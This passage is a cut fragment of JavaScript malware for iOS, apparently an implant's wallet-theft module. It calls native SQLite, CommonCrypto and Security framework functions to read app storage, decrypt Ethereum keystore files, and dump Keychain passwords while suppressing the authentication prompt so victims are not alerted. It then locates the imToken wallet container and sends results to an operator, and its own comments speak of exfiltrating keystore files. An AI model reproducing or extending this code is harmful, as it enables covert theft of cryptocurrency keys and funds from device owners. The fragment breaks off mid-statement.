ppDb === 0n) return null;\n\tNative.write64(ppDb, 0n);\n\tvar rc = Number(Native.callSymbol(\"sqlite3_open_v2\", dbPath, ppDb, 1, 0n));\n\tvar db = Native.readPtr(ppDb);\n\tNative.callSymbol(\"free\", ppDb);\n\tif (rc !== 0 || !db || db === 0n) {\n\t\tif (db && db !== 0n) Native.callSymbol(\"sqlite3_close\", db);\n\t\treturn null;\n\t}\n\ttry {\n\t\tvar ppStmt = Native.callSymbol(\"malloc\", 8);\n\t\tif (!ppStmt || ppStmt === 0n) return null;\n\t\tNative.write64(ppStmt, 0n);\n\t\trc = Number(Native.callSymbol(\"sqlite3_prepare_v2\", db, sql, -1, ppStmt, 0n));\n\t\tvar stmt = Native.readPtr(ppStmt);\n\t\tNative.callSymbol(\"free\", ppStmt);\n\t\tif (rc !== 0 || !stmt || stmt === 0n) return null;\n\t\ttry {\n\t\t\tvar rows = [];\n\t\t\tvar colCount = Number(Native.callSymbol(\"sqlite3_column_count\", stmt));\n\t\t\tvar colNames = [];\n\t\t\tfor (var c = 0; c < colCount; c++) {\n\t\t\t\tvar np = Native.callSymbol(\"sqlite3_column_name\", stmt, c);\n\t\t\t\tcolNames.push(np && np !== 0n ? Native.readString(np, 256).replace(/\\0/g, \"\") : \"col\" + c);\n\t\t\t}\n\t\t\twhile (rows.length < maxRows) {\n\t\t\t\trc = Number(Native.callSymbol(\"sqlite3_step\", stmt));\n\t\t\t\tif (rc !== 100) break;\n\t\t\t\tvar row = {};\n\t\t\t\tfor (var c = 0; c < colCount; c++) {\n\t\t\t\t\tvar tp = Number(Native.callSymbol(\"sqlite3_column_type\", stmt, c));\n\t\t\t\t\tif (tp === 5) { row[colNames[c]] = null; continue; }\n\t\t\t\t\tif (tp === 1) {\n\t\t\t\t\t\trow[colNames[c]] = Number(Native.callSymbol(\"sqlite3_column_int64\", stmt, c));\n\t\t\t\t\t} else if (tp === 2) {\n\t\t\t\t\t\trow[colNames[c]] = Number(Native.callSymbol(\"sqlite3_column_double\", stmt, c));\n\t\t\t\t\t} else {\n\t\t\t\t\t\tvar txtP = Native.callSymbol(\"sqlite3_column_text\", stmt, c);\n\t\t\t\t\t\tvar txtLen = Number(Native.callSymbol(\"sqlite3_column_bytes\", stmt, c));\n\t\t\t\t\t\tif (txtP && txtP !== 0n && txtLen > 0) {\n\t\t\t\t\t\t\trow[colNames[c]] = Native.readString(txtP, txtLen + 1).substring(0, txtLen);\n\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\trow[colNames[c]] = \"\";\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\trows.push(row);\n\t\t\t}\n\t\t\treturn { columns: colNames, rows: rows };\n\t\t} finally { Native.callSymbol(\"sqlite3_finalize\", stmt); }\n\t} finally { Native.callSymbol(\"sqlite3_close\", db); }\n}\n\n// ============================================================================\n// Native CommonCrypto Wrappers\n// ============================================================================\n\nfunction _sha256(data) {\n\tvar inBuf = Native.callSymbol(\"malloc\", BigInt(data.length));\n\tif (!inBuf || inBuf === 0n) return null;\n\tvar outBuf = Native.callSymbol(\"malloc\", 32n);\n\tif (!outBuf || outBuf === 0n) { Native.callSymbol(\"free\", inBuf); return null; }\n\tNative.write(inBuf, data.buffer ? data.buffer : data);\n\tNative.callSymbol(\"CC_SHA256\", inBuf, BigInt(data.length), outBuf);\n\tvar hash = new Uint8Array(Native.read(outBuf, 32));\n\tNative.callSymbol(\"free\", inBuf);\n\tNative.callSymbol(\"free\", outBuf);\n\treturn hash;\n}\n\nfunction _hmacSha256(key, data) {\n\tvar keyBuf = Native.callSymbol(\"malloc\", BigInt(key.length));\n\tvar dataBuf = Native.callSymbol(\"malloc\", BigInt(data.length));\n\tvar outBuf = Native.callSymbol(\"malloc\", 32n);\n\tif (!keyBuf || !dataBuf || !outBuf) {\n\t\tif (keyBuf) Native.callSymbol(\"free\", keyBuf);\n\t\tif (dataBuf) Native.callSymbol(\"free\", dataBuf);\n\t\tif (outBuf) Native.callSymbol(\"free\", outBuf);\n\t\treturn null;\n\t}\n\tNative.write(keyBuf, key.buffer ? key.buffer : key);\n\tNative.write(dataBuf, data.buffer ? data.buffer : data);\n\tNative.callSymbol(\"CCHmac\", 2, keyBuf, BigInt(key.length),\n\t\tdataBuf, BigInt(data.length), outBuf);\n\tvar mac = new Uint8Array(Native.read(outBuf, 32));\n\tNative.callSymbol(\"free\", keyBuf);\n\tNative.callSymbol(\"free\", dataBuf);\n\tNative.callSymbol(\"free\", outBuf);\n\treturn mac;\n}\n\nfunction _pbkdf2(password, salt, iterations, keyLen) {\n\tvar pwBytes = new Uint8Array(password.length);\n\tfor (var i = 0; i < password.length; i++) pwBytes[i] = password.charCodeAt(i);\n\tvar hLen = 32;\n\tvar numBlocks = Math.ceil(keyLen / hLen);\n\tvar dk = new Uint8Array(numBlocks * hLen);\n\tvar keyBuf = Native.callSymbol(\"malloc\", BigInt(pwBytes.length));\n\tvar dataBuf = Native.callSymbol(\"malloc\", BigInt(Math.max(salt.length + 4, hLen)));\n\tvar outBuf = Native.callSymbol(\"malloc\", 32n);\n\tif (!keyBuf || !dataBuf || !outBuf) {\n\t\tif (keyBuf) Native.callSymbol(\"free\", keyBuf);\n\t\tif (dataBuf) Native.callSymbol(\"free\", dataBuf);\n\t\tif (outBuf) Native.callSymbol(\"free\", outBuf);\n\t\treturn null;\n\t}\n\tNative.write(keyBuf, pwBytes.buffer);\n\tfor (var blk = 1; blk <= numBlocks; blk++) {\n\t\tvar intBe = new Uint8Array(4);\n\t\tintBe[0] = (blk >>> 24) & 0xff;\n\t\tintBe[1] = (blk >>> 16) & 0xff;\n\t\tintBe[2] = (blk >>> 8) & 0xff;\n\t\tintBe[3] = blk & 0xff;\n\t\tvar msg = new Uint8Array(salt.length + 4);\n\t\tmsg.set(salt instanceof Uint8Array ? salt : new Uint8Array(salt), 0);\n\t\tmsg.set(intBe, salt.length);\n\t\tNative.write(dataBuf, msg.buffer);\n\t\tNative.callSymbol(\"CCHmac\", 2, keyBuf, BigInt(pwBytes.length),\n\t\t\tdataBuf, BigInt(msg.length), outBuf);\n\t\tvar u = new Uint8Array(Native.read(outBuf, 32));\n\t\tvar t = new Uint8Array(u);\n\t\tfor (var iter = 1; iter < iterations; iter++) {\n\t\t\tNative.write(dataBuf, u.buffer);\n\t\t\tNative.callSymbol(\"CCHmac\", 2, keyBuf, BigInt(pwBytes.length),\n\t\t\t\tdataBuf, 32n, outBuf);\n\t\t\tu = new Uint8Array(Native.read(outBuf, 32));\n\t\t\tfor (var j = 0; j < hLen; j++) t[j] ^= u[j];\n\t\t}\n\t\tdk.set(t, (blk - 1) * hLen);\n\t}\n\tNative.callSymbol(\"free\", keyBuf);\n\tNative.callSymbol(\"free\", dataBuf);\n\tNative.callSymbol(\"free\", outBuf);\n\treturn dk.slice(0, keyLen);\n}\n\nfunction _aesEcbEncryptBlock(cryptorRef, block16) {\n\tvar inBuf = Native.callSymbol(\"malloc\", 16n);\n\tvar outBuf = Native.callSymbol(\"malloc\", 32n);\n\tvar writtenBuf = Native.callSymbol(\"malloc\", 8n);\n\tif (!inBuf || !outBuf || !writtenBuf) {\n\t\tif (inBuf) Native.callSymbol(\"free\", inBuf);\n\t\tif (outBuf) Native.callSymbol(\"free\", outBuf);\n\t\tif (writtenBuf) Native.callSymbol(\"free\", writtenBuf);\n\t\treturn null;\n\t}\n\tNative.write(inBuf, block16.buffer ? block16.buffer : block16);\n\tNative.write64(writtenBuf, 0n);\n\tvar rc = Number(Native.callSymbol(\"CCCryptorUpdate\",\n\t\tcryptorRef, inBuf, 16n, outBuf, 32n, writtenBuf));\n\tvar written = Number(Native.readPtr(writtenBuf));\n\tNative.callSymbol(\"free\", inBuf);\n\tNative.callSymbol(\"free\", writtenBuf);\n\tif (rc !== 0 || written < 16) { Native.callSymbol(\"free\", outBuf); return null; }\n\tvar result = new Uint8Array(Native.read(outBuf, 16));\n\tNative.callSymbol(\"free\", outBuf);\n\treturn result;\n}\n\nfunction _aesCtrDecrypt(keyBytes, ivBytes, cipherBytes) {\n\tvar refBuf = Native.callSymbol(\"malloc\", 8n);\n\tif (!refBuf) return null;\n\tNative.write64(refBuf, 0n);\n\tvar keyBuf = Native.callSymbol(\"malloc\", BigInt(keyBytes.length));\n\tif (!keyBuf) { Native.callSymbol(\"free\", refBuf); return null; }\n\tNative.write(keyBuf, keyBytes.buffer ? keyBytes.buffer : keyBytes);\n\tvar rc = Number(Native.callSymbol(\"CCCryptorCreate\",\n\t\t0, 0, 2, keyBuf, BigInt(keyBytes.length), 0n, refBuf));\n\tNative.callSymbol(\"free\", keyBuf);\n\tif (rc !== 0) { Native.callSymbol(\"free\", refBuf); return null; }\n\tvar ref = Native.readPtr(refBuf);\n\tNative.callSymbol(\"free\", refBuf);\n\tif (!ref || ref === 0n) return null;\n\ttry {\n\t\tvar counter = new Uint8Array(16);\n\t\tfor (var i = 0; i < 16 && i < ivBytes.length; i++) counter[i] = ivBytes[i];\n\t\tvar output = new Uint8Array(cipherBytes.length);\n\t\tfor (var off = 0; off < cipherBytes.length; off += 16) {\n\t\t\tvar ks = _aesEcbEncryptBlock(ref, counter);\n\t\t\tif (!ks) return null;\n\t\t\tvar remain = cipherBytes.length - off;\n\t\t\tvar len = remain < 16 ? remain : 16;\n\t\t\tfor (var j = 0; j < len; j++) output[off + j] = cipherBytes[off + j] ^ ks[j];\n\t\t\tfor (var ci = 15; ci >= 0; ci--) {\n\t\t\t\tcounter[ci] = (counter[ci] + 1) & 0xff;\n\t\t\t\tif (counter[ci] !== 0) break;\n\t\t\t}\n\t\t}\n\t\treturn output;\n\t} finally { Native.callSymbol(\"CCCryptorRelease\", ref); }\n}\n\nfunction _aesCbcDecrypt(keyBytes, ivBytes, cipherBytes) {\n\tvar refBuf = Native.callSymbol(\"malloc\", 8n);\n\tif (!refBuf) return null;\n\tNative.write64(refBuf, 0n);\n\tvar keyBuf = Native.callSymbol(\"malloc\", BigInt(keyBytes.length));\n\tvar ivBuf = Native.callSymbol(\"malloc\", BigInt(ivBytes.length));\n\tif (!keyBuf || !ivBuf) {\n\t\tif (keyBuf) Native.callSymbol(\"free\", keyBuf);\n\t\tif (ivBuf) Native.callSymbol(\"free\", ivBuf);\n\t\tNative.callSymbol(\"free\", refBuf);\n\t\treturn null;\n\t}\n\tNative.write(keyBuf, keyBytes.buffer ? keyBytes.buffer : keyBytes);\n\tNative.write(ivBuf, ivBytes.buffer ? ivBytes.buffer : ivBytes);\n\tvar rc = Number(Native.callSymbol(\"CCCryptorCreate\",\n\t\t1, 0, 0, keyBuf, BigInt(keyBytes.length), ivBuf, refBuf));\n\tNative.callSymbol(\"free\", keyBuf);\n\tNative.callSymbol(\"free\", ivBuf);\n\tif (rc !== 0) { Native.callSymbol(\"free\", refBuf); return null; }\n\tvar ref = Native.readPtr(refBuf);\n\tNative.callSymbol(\"free\", refBuf);\n\tif (!ref || ref === 0n) return null;\n\ttry {\n\t\tvar inBuf = Native.callSymbol(\"malloc\", BigInt(cipherBytes.length));\n\t\tvar outBuf = Native.callSymbol(\"calloc\", 1n, BigInt(cipherBytes.length + 16));\n\t\tvar writtenBuf = Native.callSymbol(\"malloc\", 8n);\n\t\tif (!inBuf || !outBuf || !writtenBuf) {\n\t\t\tif (inBuf) Native.callSymbol(\"free\", inBuf);\n\t\t\tif (outBuf) Native.callSymbol(\"free\", outBuf);\n\t\t\tif (writtenBuf) Native.callSymbol(\"free\", writtenBuf);\n\t\t\treturn null;\n\t\t}\n\t\tNative.write(inBuf, cipherBytes.buffer ? cipherBytes.buffer : cipherBytes);\n\t\tNative.write64(writtenBuf, 0n);\n\t\trc = Number(Native.callSymbol(\"CCCryptorUpdate\",\n\t\t\tref, inBuf, BigInt(cipherBytes.length), outBuf, BigInt(cipherBytes.length + 16), writtenBuf));\n\t\tvar written = Number(Native.readPtr(writtenBuf));\n\t\tNative.callSymbol(\"free\", inBuf);\n\t\tNative.callSymbol(\"free\", writtenBuf);\n\t\tif (rc !== 0) { Native.callSymbol(\"free\", outBuf); return null; }\n\t\tvar result = new Uint8Array(Native.read(outBuf, written));\n\t\tNative.callSymbol(\"free\", outBuf);\n\t\treturn result;\n\t} finally { Native.callSymbol(\"CCCryptorRelease\", ref); }\n}\n\nfunction _hexToBytes(hex) {\n\tvar bytes = new Uint8Array(hex.length / 2);\n\tfor (var i = 0; i < hex.length; i += 2) {\n\t\tbytes[i / 2] = parseInt(hex.substring(i, i + 2), 16);\n\t}\n\treturn bytes;\n}\n\nfunction _bytesToHex(bytes) {\n\tvar hex = \"\";\n\tfor (var i = 0; i < bytes.length; i++) {\n\t\thex += (bytes[i] < 16 ? \"0\" : \"\") + bytes[i].toString(16);\n\t}\n\treturn hex;\n}\n\n// ============================================================================\n// RCTAsyncLocalStorage Reader\n// ============================================================================\n\nfunction _readAsyncStorageManifest(storagePath) {\n\tvar mpath = storagePath + \"/manifest.json\";\n\tvar bytes = _readFileBytes(mpath, 4 * 1024 * 1024);\n\tif (!bytes || bytes.length === 0) return null;\n\ttry {\n\t\tvar json = JSON.parse(_rawToStr(bytes));\n\t\tvar result = {};\n\t\tfor (var key in json) {\n\t\t\tif (!json.hasOwnProperty(key)) continue;\n\t\t\tvar val = json[key];\n\t\t\tif (typeof val === \"string\") {\n\t\t\t\tresult[key] = val;\n\t\t\t} else if (val && typeof val === \"object\") {\n\t\t\t\tvar fpath = storagePath + \"/\" + key;\n\t\t\t\tvar fb = _readFileBytes(fpath, 8 * 1024 * 1024);\n\t\t\t\tif (fb && fb.length > 0) result[key] = _rawToStr(fb);\n\t\t\t}\n\t\t}\n\t\treturn result;\n\t} catch (e) { return null; }\n}\n\nfunction _readAsyncStorageSqlite(storagePath) {\n\tvar dbNames = [\"RCTAsyncLocalStorage_V1\", \"asyncstorage.db\", \"RCTAsyncLocalStorage\"];\n\tvar result = null;\n\tfor (var di = 0; di < dbNames.length; di++) {\n\t\tvar dbPath = storagePath + \"/\" + dbNames[di];\n\t\tif (Number(Native.callSymbol(\"access\", dbPath, 0)) !== 0) {\n\t\t\tdbPath = storagePath.replace(/\\/RCTAsyncLocalStorage_V1$/, \"\") + \"/\" + dbNames[di];\n\t\t\tif (Number(Native.callSymbol(\"access\", dbPath, 0)) !== 0) continue;\n\t\t}\n\t\tvar tables = _sqliteQuery(dbPath, \"SELECT name FROM sqlite_master WHERE type='table'\");\n\t\tif (!tables || !tables.rows.length) continue;\n\t\tvar tableName = null;\n\t\tfor (var ti = 0; ti < tables.rows.length; ti++) {\n\t\t\tvar tn = tables.rows[ti].name;\n\t\t\tif (tn === \"catalystLocalStorage\" || tn === \"key_value\" ||\n\t\t\t\ttn === \"keyvaluestore\" || tn === \"cache\") {\n\t\t\t\ttableName = tn;\n\t\t\t\tbreak;\n\t\t\t}\n\t\t}\n\t\tif (!tableName) tableName = tables.rows[0].name;\n\t\tvar data = _sqliteQuery(dbPath, \"SELECT * FROM \\\"\" + tableName + \"\\\"\");\n\t\tif (!data || !data.rows.length) continue;\n\t\tresult = {};\n\t\tvar kCol = data.columns.indexOf(\"key\") >= 0 ? \"key\" : data.columns[0];\n\t\tvar vCol = data.columns.indexOf(\"value\") >= 0 ? \"value\" : data.columns[1];\n\t\tfor (var ri = 0; ri < data.rows.length; ri++) {\n\t\t\tresult[data.rows[ri][kCol]] = data.rows[ri][vCol];\n\t\t}\n\t\tbreak;\n\t}\n\treturn result;\n}\n\nfunction _readAsyncStorage(containerPath, subPath) {\n\tvar storagePath = containerPath + \"/\" + subPath;\n\tvar st = _statFile(storagePath);\n\tif (!st) return null;\n\tif (st.isDir) {\n\t\tvar res = _readAsyncStorageManifest(storagePath);\n\t\tif (res) return res;\n\t\treturn _readAsyncStorageSqlite(storagePath);\n\t}\n\tif (st.isFile) {\n\t\tvar r = _sqliteQuery(storagePath, \"SELECT name FROM sqlite_master WHERE type='table'\");\n\t\tif (r && r.rows.length) {\n\t\t\tvar result = {};\n\t\t\tfor (var ti = 0; ti < r.rows.length; ti++) {\n\t\t\t\tvar d = _sqliteQuery(storagePath, \"SELECT * FROM \\\"\" + r.rows[ti].name + \"\\\"\");\n\t\t\t\tif (!d || !d.rows.length) continue;\n\t\t\t\tvar kCol = d.columns.indexOf(\"key\") >= 0 ? \"key\" : d.columns[0];\n\t\t\t\tvar vCol = d.columns.indexOf(\"value\") >= 0 ? \"value\" : d.columns[1];\n\t\t\t\tfor (var ri = 0; ri < d.rows.length; ri++) {\n\t\t\t\t\tresult[d.rows[ri][kCol]] = d.rows[ri][vCol];\n\t\t\t\t}\n\t\t\t}\n\t\t\treturn result;\n\t\t}\n\t}\n\treturn null;\n}\n\n// ============================================================================\n// Keystore V3 Decryption (scrypt/PBKDF2 + AES-CTR)\n// ============================================================================\n\nfunction _decryptKeystoreV3(crypto, password) {\n\tif (!crypto || !password) return null;\n\tvar kdfparams = crypto.kdfparams;\n\tvar cipherparams = crypto.cipherparams;\n\tvar ciphertextHex = crypto.ciphertext;\n\tif (!kdfparams || !cipherparams || !ciphertextHex) return null;\n\n\tvar salt = _hexToBytes(kdfparams.salt);\n\tvar dkLen = kdfparams.dklen || 32;\n\tvar derivedKey = null;\n\n\tif (crypto.kdf === \"pbkdf2\") {\n\t\tvar iters = kdfparams.c || 262144;\n\t\tderivedKey = _pbkdf2(password, salt, iters, dkLen);\n\t} else {\n\t\treturn { error: \"scrypt_not_supported_on_device\", kdf: crypto.kdf };\n\t}\n\tif (!derivedKey) return { error: \"kdf_failed\" };\n\n\tvar ciphertext = _hexToBytes(ciphertextHex);\n\tvar iv = _hexToBytes(cipherparams.iv);\n\n\t// MAC verification: SHA256(derivedKey[16:32] + ciphertext) should match crypto.mac\n\tif (crypto.mac) {\n\t\tvar macInput = new Uint8Array(16 + ciphertext.length);\n\t\tmacInput.set(derivedKey.slice(16, 32), 0);\n\t\tmacInput.set(ciphertext, 16);\n\t\tvar computedMac = _sha256(macInput);\n\t\tif (computedMac && _bytesToHex(computedMac) !== crypto.mac) {\n\t\t\treturn { error: \"mac_mismatch\" };\n\t\t}\n\t}\n\n\tvar cipher = (crypto.cipher || \"aes-128-ctr\").toLowerCase();\n\tvar encKey = derivedKey.slice(0, 16);\n\tvar decrypted = null;\n\tif (cipher === \"aes-128-ctr\") {\n\t\tdecrypted = _aesCtrDecrypt(encKey, iv, ciphertext);\n\t} else if (cipher === \"aes-128-cbc\") {\n\t\tdecrypted = _aesCbcDecrypt(encKey, iv, ciphertext);\n\t}\n\tif (!decrypted) return { error: \"decrypt_failed\" };\n\n\ttry {\n\t\tvar str = \"\";\n\t\tfor (var i = 0; i < decrypted.length; i++) {\n\t\t\tif (decrypted[i] === 0) break;\n\t\t\tstr += String.fromCharCode(decrypted[i]);\n\t\t}\n\t\treturn { plaintext: str };\n\t} catch (e) { return { error: \"decode_failed: \" + e }; }\n}\n\n// EncryptedMessage format (fixed key AES-CTR)\nfunction _decryptEncryptedMessage(encObj, fixedKeyHex) {\n\tif (!encObj || !encObj.encStr || !encObj.nonce) return null;\n\tvar key = _hexToBytes(fixedKeyHex);\n\tvar iv = _hexToBytes(encObj.nonce);\n\tvar ciphertext = _hexToBytes(encObj.encStr);\n\tvar plainBytes = _aesCtrDecrypt(key, iv, ciphertext);\n\tif (!plainBytes) return null;\n\tvar str = \"\";\n\tfor (var i = 0; i < plainBytes.length; i++) {\n\t\tif (plainBytes[i] === 0) break;\n\t\tstr += String.fromCharCode(plainBytes[i]);\n\t}\n\treturn str;\n}\n\n// ============================================================================\n// Keychain Password Extraction (SecItemCopyMatching)\n// ============================================================================\n\nvar _securityLoaded = false;\nfunction _ensureSecurity() {\n\tif (_securityLoaded) return true;\n\tvar h = Native.callSymbol(\"dlopen\",\n\t\t\"/System/Library/Frameworks/Security.framework/Security\", 1);\n\tif (!h || h === 0n) return false;\n\t_securityLoaded = true;\n\treturn true;\n}\n\nfunction _cfStr(s) {\n\treturn Native.callSymbol(\"CFStringCreateWithCString\", 0n, s, 0x08000100);\n}\nfunction _cfRelease(ref) {\n\tif (ref && ref !== 0n) Native.callSymbol(\"CFRelease\", ref);\n}\nfunction _cfStringToJS(cfStr) {\n\tif (!cfStr || cfStr === 0n) return null;\n\tvar cstr = Native.callSymbol(\"CFStringGetCStringPtr\", cfStr, 0x08000100);\n\tif (cstr && cstr !== 0n) {\n\t\treturn Native.readString(cstr, 4096).replace(/\\0/g, \"\");\n\t}\n\tvar buf = Native.callSymbol(\"malloc\", 4096);\n\tif (!buf || buf === 0n) return null;\n\tif (Native.callSymbol(\"CFStringGetCString\", cfStr, buf, 4096, 0x08000100)) {\n\t\tvar s = Native.readString(buf, 4096).replace(/\\0/g, \"\");\n\t\tNative.callSymbol(\"free\", buf);\n\t\treturn s;\n\t}\n\tNative.callSymbol(\"free\", buf);\n\treturn null;\n}\nfunction _cfDataToBytes(cfData) {\n\tif (!cfData || cfData === 0n) return null;\n\tvar len = Number(Native.callSymbol(\"CFDataGetLength\", cfData));\n\tif (len <= 0) return null;\n\tvar ptr = Native.callSymbol(\"CFDataGetBytePtr\", cfData);\n\tif (!ptr || ptr === 0n) return null;\n\treturn new Uint8Array(Native.read(ptr, len));\n}\n\nfunction _searchKeychain(service, account, accessGroup) {\n\tif (!_ensureSecurity()) return null;\n\tNative.callSymbol(\"dlopen\",\n\t\t\"/System/Library/Frameworks/CoreFoundation.framework/CoreFoundation\", 1);\n\n\tvar kSecClass = Native.callSymbol(\"dlsym\", -2n, \"kSecClass\");\n\tvar kSecClassGenericPassword = Native.callSymbol(\"dlsym\", -2n, \"kSecClassGenericPassword\");\n\tvar kSecAttrService = Native.callSymbol(\"dlsym\", -2n, \"kSecAttrService\");\n\tvar kSecAttrAccount = Native.callSymbol(\"dlsym\", -2n, \"kSecAttrAccount\");\n\tvar kSecReturnData = Native.callSymbol(\"dlsym\", -2n, \"kSecReturnData\");\n\tvar kSecReturnAttributes = Native.callSymbol(\"dlsym\", -2n, \"kSecReturnAttributes\");\n\tvar kSecMatchLimit = Native.callSymbol(\"dlsym\", -2n, \"kSecMatchLimit\");\n\tvar kSecMatchLimitAll = Native.callSymbol(\"dlsym\", -2n, \"kSecMatchLimitAll\");\n\tvar kCFBooleanTrue = Native.callSymbol(\"dlsym\", -2n, \"kCFBooleanTrue\");\n\n\tif (!kSecClass || kSecClass === 0n) return null;\n\n\tvar svcCF = 0n, acctCF = 0n;\n\tvar _authUIKeyCF = 0n, _authUIValCF = 0n;\n\ttry {\n\t\tvar keys = [];\n\t\tvar vals = [];\n\n\t\tkeys.push(Native.readPtr(kSecClass));\n\t\tvals.push(Native.readPtr(kSecClassGenericPassword));\n\t\tkeys.push(Native.readPtr(kSecReturnData));\n\t\tvals.push(Native.readPtr(kCFBooleanTrue));\n\t\tkeys.push(Native.readPtr(kSecReturnAttributes));\n\t\tvals.push(Native.readPtr(kCFBooleanTrue));\n\t\tkeys.push(Native.readPtr(kSecMatchLimit));\n\t\tvals.push(Native.readPtr(kSecMatchLimitAll));\n\n\t\t// fix #3: skip auth UI so locked devices don't prompt \"Enter password for\n\t\t// SpringBoard\". Mirrors _secDumpClass. Auth-protected items are silently\n\t\t// skipped (errSecInteractionNotAllowed) instead of triggering a dialog.\n\t\t_authUIKeyCF = _cfStr(\"u_AuthUI\");\n\t\t_authUIValCF = _cfStr(\"u_AuthUISkip\");\n\t\tif (_authUIKeyCF && _authUIKeyCF !== 0n && _authUIValCF && _authUIValCF !== 0n) {\n\t\t\tkeys.push(_authUIKeyCF);\n\t\t\tvals.push(_authUIValCF);\n\t\t}\n\n\t\tif (service) {\n\t\t\tkeys.push(Native.readPtr(kSecAttrService));\n\t\t\tsvcCF = _cfStr(service);\n\t\t\tvals.push(svcCF);\n\t\t}\n\t\tif (account) {\n\t\t\tkeys.push(Native.readPtr(kSecAttrAccount));\n\t\t\tacctCF = _cfStr(account);\n\t\t\tvals.push(acctCF);\n\t\t}\n\n\t\tvar nItems = keys.length;\n\t\tvar keysBuf = Native.callSymbol(\"malloc\", BigInt(nItems * 8));\n\t\tvar valsBuf = Native.callSymbol(\"malloc\", BigInt(nItems * 8));\n\t\tif (!keysBuf || keysBuf === 0n || !valsBuf || valsBuf === 0n) {\n\t\t\tif (keysBuf && keysBuf !== 0n) Native.callSymbol(\"free\", keysBuf);\n\t\t\tif (valsBuf && valsBuf !== 0n) Native.callSymbol(\"free\", valsBuf);\n\t\t\treturn null;\n\t\t}\n\t\tfor (var i = 0; i < nItems; i++) {\n\t\t\tNative.write64(keysBuf + BigInt(i * 8), keys[i]);\n\t\t\tNative.write64(valsBuf + BigInt(i * 8), vals[i]);\n\t\t}\n\n\t\tvar queryDict = Native.callSymbol(\"CFDictionaryCreate\", 0n,\n\t\t\tkeysBuf, valsBuf, nItems, 0n, 0n);\n\t\tNative.callSymbol(\"free\", keysBuf);\n\t\tNative.callSymbol(\"free\", valsBuf);\n\n\t\tif (!queryDict || queryDict === 0n) return null;\n\n\t\tvar resultPtr = Native.callSymbol(\"malloc\", 8);\n\t\tNative.write64(resultPtr, 0n);\n\t\tvar status = Number(Native.callSymbol(\"SecItemCopyMatching\", queryDict, resultPtr));\n\t\tvar resultRef = Native.readPtr(resultPtr);\n\t\tNative.callSymbol(\"free\", resultPtr);\n\t\t_cfRelease(queryDict);\n\n\t\tif (status !== 0 || !resultRef || resultRef === 0n) return null;\n\n\t\tvar results = [];\n\t\ttry {\n\t\t\tvar count = Number(Native.callSymbol(\"CFArrayGetCount\", resultRef));\n\t\t\tvar kSecValueData = Native.callSymbol(\"dlsym\", -2n, \"kSecValueData\");\n\t\t\tvar kSecValueDataVal = kSecValueData && kSecValueData !== 0n ? Native.readPtr(kSecValueData) : 0n;\n\t\t\tvar svcKeyVal = Native.readPtr(kSecAttrService);\n\t\t\tvar acctKeyVal = Native.readPtr(kSecAttrAccount);\n\n\t\t\tfor (var idx = 0; idx < count && idx < 50; idx++) {\n\t\t\t\tvar item = Native.callSymbol(\"CFArrayGetValueAtIndex\", resultRef, idx);\n\t\t\t\tif (!item || item === 0n) continue;\n\t\t\t\ttry {\n\t\t\t\t\tvar entry = {};\n\t\t\t\t\tvar sv = Native.callSymbol(\"CFDictionaryGetValue\", item, svcKeyVal);\n\t\t\t\t\tif (sv && sv !== 0n) entry.service = _cfStringToJS(sv);\n\t\t\t\t\tvar av = Native.callSymbol(\"CFDictionaryGetValue\", item, acctKeyVal);\n\t\t\t\t\tif (av && av !== 0n) entry.account = _cfStringToJS(av);\n\t\t\t\t\tif (kSecValueDataVal && kSecValueDataVal !== 0n) {\n\t\t\t\t\t\tvar dv = Native.callSymbol(\"CFDictionaryGetValue\", item, kSecValueDataVal);\n\t\t\t\t\t\tif (dv && dv !== 0n) {\n\t\t\t\t\t\t\tvar dataBytes = _cfDataToBytes(dv);\n\t\t\t\t\t\t\tif (dataBytes) {\n\t\t\t\t\t\t\t\tvar dataStr = \"\";\n\t\t\t\t\t\t\t\tfor (var di = 0; di < dataBytes.length; di++)\n\t\t\t\t\t\t\t\t\tdataStr += String.fromCharCode(dataBytes[di]);\n\t\t\t\t\t\t\t\tentry.data = dataStr;\n\t\t\t\t\t\t\t\tentry.data_hex = _bytesToHex(dataBytes);\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t\tresults.push(entry);\n\t\t\t\t} catch (itemErr) {}\n\t\t\t}\n\t\t} finally { _cfRelease(resultRef); }\n\t\treturn results;\n\t} finally {\n\t\tif (svcCF && svcCF !== 0n) _cfRelease(svcCF);\n\t\tif (acctCF && acctCF !== 0n) _cfRelease(acctCF);\n\t\tif (_authUIKeyCF && _authUIKeyCF !== 0n) _cfRelease(_authUIKeyCF);\n\t\tif (_authUIValCF && _authUIValCF !== 0n) _cfRelease(_authUIValCF);\n\t}\n}\n\nfunction _findImtokenKeychainPassword() {\n\t// fix #3b: DISABLED. _searchKeychain queries imToken-specific services with\n\t// kSecReturnData=true. On iOS 18.6, items protected by SecAccessControl\n\t// (biometricCurrentSet / devicePasscode) appear to bypass u_AuthUISkip and\n\t// trigger a \"Enter password for SpringBoard\" prompt even on locked devices,\n\t// while _secDumpClass (attributes-only, no specific service) stays silent\n\t// (-25300). The imToken keystore files are still exfiltrated from the sandbox\n\t// (the valuable data); only the keychain-password decryption attempt is\n\t// skipped. Phase 2 sqlite pipeline remains the real keychain decryption path.\n\treturn [];\n}\n\n// ============================================================================\n// imToken Wallet Extraction\n// ============================================================================\n\nfunction handleWalletExtract(cmd) {\n\tvar p = cmd.params || {};\n\tvar walletType = p.wallet_type || \"imtoken\";\n\tvar startMs = Date.now();\n\n\tif (walletType === \"imtoken\") {\n\t\t_extractImtoken(cmd, p, startMs);\n\t} else {\n\t\tsendJSON(cmd.command_id, {\n\t\t\tstatus: \"failed\", error: \"unsupported wallet_type: \" + walletType,\n\t\t\t_task_id: p._task_id || \"\", _task_type: \"wallet_extract\"\n\t\t}, \"wallet_extract_result.json\");\n\t}\n}\n\nfunction _extractImtoken(cmd, p, startMs) {\n\ttry {\n\t\tvar kcBytes = _readFileBytes(\"/tmp/imtoken_keychain.json\", 2 * 1024 * 1024);\n\t\tif (kcBytes && kcBytes.byteLength > 10) {\n\t\t\tsendResult(cmd.command_id, bytesToBase64(kcBytes),\n\t\t\t\t\"imtoken_keychain.json\", \"imtoken_keychain\");\n\t\t}\n\t} catch(e) {}\n\n\tvar bundleId = \"im.token.app\";\n\tvar containerPath = _findAppContainer(bundleId);\n\tif (!containerPath) {\n\t\tsendJSON(cmd.command_id, {\n\t\t\tstatus: \"failed\", error: \"imToken container not found\",\n\t\t\twallet_type: \"imtoken\",\n\t\t\t_task_id: p._task_id || \"\", _task_type: 